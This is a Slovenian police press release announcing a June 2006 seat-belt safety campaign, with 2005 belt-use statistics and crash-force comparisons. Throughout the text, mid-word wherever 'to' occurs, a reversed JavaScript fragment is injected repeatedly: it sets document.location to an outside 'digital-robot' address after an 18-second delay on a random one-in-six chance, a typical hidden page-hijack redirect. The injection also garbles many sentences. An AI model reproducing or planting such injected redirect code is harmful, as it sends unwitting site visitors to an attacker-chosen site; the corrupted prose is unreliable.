Preventivna akcija  varnostni pas – vez z življenjem

Od danes 5.6.2006 do 20. 6.2006 bo potekala preventivna akcija Varnostni pas – vez z življenjem. Cilji akcije so zmanjšanje posledic prometnih nesreč, povečanje stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topnje uporabe varnostnega pasu in vpliv na vedenjske vzorce pri voznikih in sopotnikih v zvezi z uporabo varnostnega pasu.

Pri izvajanju aktivnosti, ki jih koordinira Ministrstvo za promet (več informacij je na njihovi spletni strani http://www.mzp.gov.si), bo sodelovala tudi Policija. Med akcijo bodo policisti voznikom razdelili letake s preventivno vsebino, otrokom, ki bodo pripeti v ustreznih otroških sedežih, pa bodo razdelili pasavčke.
 V tem času bodo policisti poostreno nadzirali uporabo varnostnega pasu, na vnaprej določenih mestih (v večjih parkiriščih, križiščih) pa z enostavno kretnjo roke tudi opozarjali nepripete voznike in sopotnike, naj uporabijo varnostni pas.

Po zadnjih  podatkih  je v letu 2005 uporabljalo varnostni pas 85.9% voznikov. Največ jih je uporabljalo  varnostne pasove med vožnjo na avtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tocestah, kjer je  bilo pripetih 91,8% voznikov, najmanj pa med vožnjo v naseljih  in tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to le 76,7% voznikov. Posebej zaskrbljujoča je uporaba varnostnih pasov na zadnjih sedežih. Podatek za letobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 2005 namreč kaže, da je varnostni pas na zadnjih sedežih uporabljalo le 43,3% potnikov.

ALI STE VEDELI?
– odrasel človek lahko z močjo rok in nog zadrži težo telesa ob trku le do hitrosti 7 km/h,
– strokovnjaki so ugotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovili, da bi bilo med vozniki in potniki v avtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomobilih tudi do 40% manj žrtev, če bi vsi uporabljali varnostne pasove,
– primerjava sil pri trkih z določenimi hitrostmi, ki so podobne padcem s primerljive višine:
– pri hitrosti 50 km/h je sila primerljiva padcu z višine 10m,
– pri hitrosti 80 km/h je sila primerljiva padcu z višine 25m,
– pri hitrosti 100 km/h je sila primerljiva padcu z višine 40m.
– sile, ki delujejo pri trku na otroški sedež, so izjemno velike (pri čelnem trku s hitrostjo 50 km/h kar 33 G, kar pomeni, da je otrokovo telo kar 33 krat težje kot je njegova teža), prav tako se sedež ne sme nagibati bočno in mora otroku nuditi ustrezno oporo tudi, ko med vožnjo zaspi,  
– tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hkrati pomeni, da otroka, ki sedi v materinem naročju, ob tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovrstnem trku (hitrost 50km/h) le-ta stisne ob prednji sedež ali armaturno ploščo vozila s kar 33 kratnikom lastne teže (pri 50 kg telesne teže tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pomeni  preko 1500 kg!),
– otroci so žrtve prometnih nesreč predvsem kot potniki v osebnem avtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomobilu, ko ne uporabljajo predpisanih varnostnih sedežev ali varnostnih pasov.

V času akcije vas bomo o poteku in aktivnostih obveščali  v naših jutranjih policijskih poročilih. Ob koncu akcije pa vam bomo posredovali zaključne ugotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovitve.

V želji, da bo varnostna akcija Varnostni pas – vez z življenjem,  prispevala k večji varnostni v cestnem prometu, se vam zahvaljujemo za objavo prispevkov na tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to temo.

PRIPNITE SE IN POSKRBITE, DA BODO PRIPETI VSI POTNIKI.